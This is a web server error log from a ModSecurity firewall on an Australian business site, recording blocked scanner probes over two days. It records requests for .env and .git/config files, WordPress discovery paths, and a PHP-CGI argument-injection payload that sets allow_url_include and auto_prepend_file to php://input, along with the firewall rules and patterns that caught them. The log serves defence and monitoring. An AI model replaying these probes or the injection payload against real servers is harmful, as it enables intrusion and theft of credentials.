[Thu Dec 04 02:12:34.420746 2025] [:error] [pid 3842:tid 3914] [client 16.171.194.133:47330] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.dev.local"] [unique_id "aTB9kiaILLkuuVMSmjsY7gAAAYs"]
[Thu Dec 04 02:12:35.624159 2025] [:error] [pid 63344:tid 63368] [client 16.171.194.133:47536] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aTB9k7Fn6Z8FbZz0Ijlt7AAAABM"]
[Thu Dec 04 02:12:36.820201 2025] [:error] [pid 3840:tid 3861] [client 16.171.194.133:47736] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lib/.env"] [unique_id "aTB9lJF_IDAg4wPRjg7F4wAAAE0"]
[Thu Dec 04 02:12:37.996342 2025] [:error] [pid 3938:tid 3959] [client 16.171.194.133:47956] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/lab/.env"] [unique_id "aTB9lSAHKAmSjlzEts4a3AAAAhM"]
[Thu Dec 04 02:12:39.173326 2025] [:error] [pid 63344:tid 63370] [client 16.171.194.133:48176] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cronlab/.env"] [unique_id "aTB9l7Fn6Z8FbZz0Ijlt9wAAABU"]
[Thu Dec 04 02:12:40.363396 2025] [:error] [pid 3840:tid 3866] [client 16.171.194.133:48362] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/cron/.env"] [unique_id "aTB9mJF_IDAg4wPRjg7F5AAAAFI"]
[Thu Dec 04 02:12:41.551982 2025] [:error] [pid 63344:tid 63361] [client 16.171.194.133:48570] [client 16.171.194.133] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aTB9mbFn6Z8FbZz0Ijlt_AAAAAw"]
[Thu Dec 04 02:26:54.238015 2025] [autoindex:error] [pid 3938:tid 3953] [client 143.110.180.207:52978] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Dec 04 05:02:27.071527 2025] [:error] [pid 2159:tid 2180] [client 34.44.53.82:53192] [client 34.44.53.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.44.53.82, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTClYz3GVdXg3ORUAG2M7AAAABE"]
[Thu Dec 04 05:02:27.637610 2025] [:error] [pid 2159:tid 2167] [client 34.44.53.82:53192] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aTClYz3GVdXg3ORUAG2M7gAAAAQ"]
[Thu Dec 04 05:02:28.599744 2025] [:error] [pid 2160:tid 2199] [client 34.44.53.82:52209] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aTClZENDGjl4u2feUD-5eAAAAEk"]
[Thu Dec 04 05:02:29.451737 2025] [:error] [pid 38403:tid 38422] [client 34.44.53.82:58731] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aTClZQBCL4g8TXcskwnQkgAAAQ4"]
[Thu Dec 04 05:02:30.320091 2025] [:error] [pid 2244:tid 2249] [client 34.44.53.82:50905] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aTClZpm00CCLpKa0F70SgAAAAMM"]
[Thu Dec 04 05:02:31.182561 2025] [:error] [pid 2159:tid 2179] [client 34.44.53.82:55691] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aTClZz3GVdXg3ORUAG2M8AAAABA"]
[Thu Dec 04 05:02:32.130638 2025] [:error] [pid 2159:tid 2177] [client 34.44.53.82:55570] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aTClaD3GVdXg3ORUAG2M8gAAAA4"]
[Thu Dec 04 05:02:33.036899 2025] [:error] [pid 2161:tid 2217] [client 34.44.53.82:55680] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aTClaSjiGdnP9Am2woVUegAAAIA"]
[Thu Dec 04 05:02:33.892634 2025] [:error] [pid 2244:tid 2251] [client 34.44.53.82:53381] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aTClaZm00CCLpKa0F70SiAAAAMU"]
[Thu Dec 04 05:02:34.786689 2025] [:error] [pid 38403:tid 38420] [client 34.44.53.82:65342] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aTClagBCL4g8TXcskwnQnQAAAQw"]
[Thu Dec 04 05:02:35.655301 2025] [:error] [pid 2161:tid 2226] [client 34.44.53.82:56864] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aTClayjiGdnP9Am2woVUhAAAAIk"]
[Thu Dec 04 05:02:36.589989 2025] [:error] [pid 38403:tid 38425] [client 34.44.53.82:60119] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aTClbABCL4g8TXcskwnQnwAAARE"]
[Thu Dec 04 05:02:37.453351 2025] [:error] [pid 2159:tid 2170] [client 34.44.53.82:61065] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aTClbT3GVdXg3ORUAG2M-AAAAAc"]
[Thu Dec 04 05:02:38.321643 2025] [:error] [pid 2244:tid 2257] [client 34.44.53.82:62375] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aTClbpm00CCLpKa0F70SlAAAAMs"]
[Thu Dec 04 05:02:39.227890 2025] [:error] [pid 2159:tid 2186] [client 34.44.53.82:57557] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aTClbz3GVdXg3ORUAG2M_wAAABc"]
[Thu Dec 04 05:02:40.077716 2025] [:error] [pid 38403:tid 38418] [client 34.44.53.82:59379] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aTClcABCL4g8TXcskwnQqgAAAQo"]
[Thu Dec 04 05:02:40.972793 2025] [:error] [pid 38403:tid 38425] [client 34.44.53.82:64028] [client 34.44.53.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aTClcABCL4g8TXcskwnQrgAAARE"]
[Thu Dec 04 05:08:10.949210 2025] [:error] [pid 2159:tid 2171] [client 195.178.110.223:40588] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTCmuj3GVdXg3ORUAG2PNQAAAAg"]
[Thu Dec 04 05:56:03.901265 2025] [:error] [pid 2161:tid 2217] [client 103.163.208.141:52301] [client 103.163.208.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.measureyourbrand.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.measureyourbrand.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aTCx8yjiGdnP9Am2woVr_wAAAIA"]
[Thu Dec 04 05:56:33.242972 2025] [:error] [pid 2159:tid 2173] [client 103.163.208.141:56134] [client 103.163.208.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.measureyourbrand.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.measureyourbrand.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aTCyET3GVdXg3ORUAG2h7wAAAAo"]
[Thu Dec 04 05:56:54.970953 2025] [:error] [pid 2160:tid 2201] [client 103.163.208.141:58799] [client 103.163.208.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.measureyourbrand.com.au|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.measureyourbrand.com.au"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aTCyJkNDGjl4u2feUD_ONgAAAEs"]
[Thu Dec 04 06:18:40.394595 2025] [:error] [pid 2160:tid 2211] [client 195.178.110.223:59876] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aTC3QENDGjl4u2feUD_VlgAAAFU"]
[Thu Dec 04 06:32:53.726077 2025] [:error] [pid 2244:tid 2255] [client 177.192.9.209:2948] [client 177.192.9.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.192.9.209, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTC6lZm00CCLpKa0F705egAAAMk"]
[Thu Dec 04 22:00:43.250111 2025] [:error] [pid 63381:tid 63448] [client 203.2.64.59:37880] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aTGUC-idz_S5muoRMExLTwAAAkU"]
[Fri Dec 05 02:48:53.132987 2025] [:error] [pid 33349:tid 33356] [client 104.154.53.107:53426] [client 104.154.53.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.154.53.107, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTHXlVmzLHxEoifSuEwrIwAAAEM"]
[Fri Dec 05 02:48:53.740125 2025] [:error] [pid 33349:tid 33372] [client 104.154.53.107:53426] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aTHXlVmzLHxEoifSuEwrJQAAAFM"]
[Fri Dec 05 02:48:54.660305 2025] [:error] [pid 4492:tid 4565] [client 104.154.53.107:51689] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aTHXlqktiJtKB3zqv30C0AAAARE"]
[Fri Dec 05 02:48:55.637015 2025] [:error] [pid 13768:tid 13781] [client 104.154.53.107:60742] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aTHXl44EjrlerfWi6VMlPwAAAYo"]
[Fri Dec 05 02:48:56.566892 2025] [:error] [pid 13768:tid 13772] [client 104.154.53.107:60690] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aTHXmI4EjrlerfWi6VMlQQAAAYE"]
[Fri Dec 05 02:48:57.467306 2025] [:error] [pid 4577:tid 4597] [client 104.154.53.107:54450] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aTHXma9fB6WQjuhMq_9HNwAAABI"]
[Fri Dec 05 02:48:58.355936 2025] [:error] [pid 13861:tid 13880] [client 104.154.53.107:55908] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aTHXmoxoqoAfmVZ3zhy7eAAAAdE"]
[Fri Dec 05 02:48:59.253378 2025] [:error] [pid 13925:tid 13940] [client 104.154.53.107:57975] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aTHXmwT9_OOefeJMN1XAKwAAAg0"]
[Fri Dec 05 02:49:00.136493 2025] [:error] [pid 13768:tid 13787] [client 104.154.53.107:57210] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aTHXnI4EjrlerfWi6VMlTAAAAZA"]
[Fri Dec 05 02:49:01.009909 2025] [:error] [pid 13768:tid 13772] [client 104.154.53.107:56833] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aTHXnY4EjrlerfWi6VMlUAAAAYE"]
[Fri Dec 05 02:49:01.930888 2025] [:error] [pid 13768:tid 13794] [client 104.154.53.107:63905] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aTHXnY4EjrlerfWi6VMlWQAAAZc"]
[Fri Dec 05 02:49:02.827310 2025] [:error] [pid 13925:tid 13942] [client 104.154.53.107:52140] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aTHXngT9_OOefeJMN1XALwAAAg8"]
[Fri Dec 05 02:49:04.071739 2025] [:error] [pid 13861:tid 13886] [client 104.154.53.107:52554] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aTHXoIxoqoAfmVZ3zhy7fAAAAdc"]
[Fri Dec 05 02:49:05.116471 2025] [:error] [pid 4490:tid 4500] [client 104.154.53.107:51107] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aTHXoWRzE1f_JiXqDpzzrQAAAIY"]
[Fri Dec 05 02:49:05.979053 2025] [:error] [pid 4491:tid 4524] [client 104.154.53.107:53640] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aTHXoSUq6tbvu6y_H_HrXQAAAMM"]
[Fri Dec 05 02:49:06.934371 2025] [:error] [pid 13861:tid 13877] [client 104.154.53.107:53585] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aTHXooxoqoAfmVZ3zhy7fwAAAc4"]
[Fri Dec 05 02:49:07.837354 2025] [:error] [pid 13861:tid 13874] [client 104.154.53.107:51592] [client 104.154.53.107] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aTHXo4xoqoAfmVZ3zhy7gAAAAcs"]
[Fri Dec 05 03:48:51.341464 2025] [:error] [pid 5188:tid 5217] [client 34.68.39.129:63858] [client 34.68.39.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.68.39.129, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aTHlo0QDYAFnrrRh0Bo_JAAAABY"]
[Fri Dec 05 03:48:54.217684 2025] [:error] [pid 5188:tid 5195] [client 34.68.39.129:63858] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aTHlpkQDYAFnrrRh0Bo_KwAAAAA"]
[Fri Dec 05 03:48:55.260524 2025] [:error] [pid 5283:tid 5286] [client 34.68.39.129:59288] [client 34.68.39.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aTHlp8rOYoyF7_2EYK6WLwAAAME"]
